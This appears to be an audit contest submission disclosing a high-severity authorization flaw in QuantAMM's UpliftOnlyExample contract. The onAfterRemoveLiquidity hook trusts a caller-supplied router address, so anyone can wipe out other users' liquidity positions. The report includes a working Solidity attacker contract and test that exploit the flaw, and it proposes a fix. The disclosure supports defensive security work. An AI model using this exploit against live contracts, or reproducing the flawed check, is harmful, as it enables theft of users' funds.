QuantAMM
QuantAMM
49,600 OP
View results
Previous Next
Submission Details
Severity: high
Valid

Improper Authorization in onAfterRemoveLiquidity Leads To Fund Lost

aksoy

Summary

The onAfterRemoveLiquidity function in the UpliftOnlyExample contract fails to properly validate the caller's authenticity. It only checks if the router input matches the contract address itself, allowing malicious users to exploit this by providing the correct router address. Attackers can remove liquidity positions of other users.

Vulnerability Details

The vulnerability stems from the following flawed logic in the onAfterRemoveLiquidity function. The function relies on the onlySelfRouter(router) modifier, which validates that router equals the contract's own address. However, since router is an input parameter, attackers can easily provide the expected value (contract's address) to bypass this check.

/// @inheritdoc BaseHooks
function onAfterRemoveLiquidity(
address router,
address pool,
RemoveLiquidityKind,
uint256 bptAmountIn,
uint256[] memory,
uint256[] memory amountsOutRaw,
uint256[] memory,
bytes memory userData
) public override onlySelfRouter(router) returns (bool, uint256[] memory hookAdjustedAmountsOutRaw) {
address userAddress = address(bytes20(userData));

https://github.com/Cyfrin/2024-12-quantamm/blob/a775db4273eb36e7b4536c5b60207c9f17541b92/pkg/pool-hooks/contracts/hooks-quantamm/UpliftOnlyExample.sol#L440

The function does not verify that the caller is the Vault contract, which should be the sole authorized entity for invoking onAfterRemoveLiquidity. By creating a malicious contract, attackers can exploit the above issues to target other users' liquidity positions.

Test:

contract Attacker {
address payable public uplift;
IVault public vault;
constructor(address uplift_, address vault_) {
uplift = payable(uplift_);
vault = IVault(vault_);
}
​
struct HookParams {
address user;
address pool;
uint256 amount;
}
​
function attack(address user, uint256 amount, address pool) public {
vault.unlock(abi.encodeCall(this.attackHook, HookParams({ user: user, pool: pool, amount: amount })));
}
​
function attackHook(
HookParams calldata params
) public returns (uint256[] memory amountsIn, uint256 bptAmountOut, bytes memory returnData) {
uint256[] memory minAmountsOut = new uint256[]();
minAmountsOut[0] = 0;
minAmountsOut[1] = 0;
​
UpliftOnlyExample(uplift).onAfterRemoveLiquidity(
address(uplift),
params.pool,
RemoveLiquidityKind.PROPORTIONAL,
params.amount,
minAmountsOut,
minAmountsOut,
minAmountsOut,
abi.encodePacked(params.user)
);
}
}
// Inside UpliftOnlyExampleTest
contract UpliftOnlyExampleTest is BaseVaultTest {
//
// Rest Of the Setup
function testRemoveLiquidityExploit() public {
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
vm.prank(bob);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
vm.stopPrank();
​
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
Attacker attacker = new Attacker(address(upliftOnlyRouter), address(vault));
​
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob).length, 1, "bptAmount mapping should be 1");
//@audit burn another users position
vm.startPrank(alice);
attacker.attack(bob, bptAmount, pool);
vm.stopPrank();
​
assertEq(upliftOnlyRouter.getUserPoolFeeData(pool, bob).length, 0, "bptAmount mapping should be 0");
}
​
​
}

Impact

Attackers can arbitrarily remove liquidity positions from other users' accounts.

Tools Used

Manual

Recommendations

Update the function to ensure that only the Vault contract can invoke it

Updates

Lead Judging Commences

n0kto Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_onAfterRemoveLiquidity_no_access_control_wipe_all_data

Likelihood: High, anyone, anytime. Impact: High, Loss of funds

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.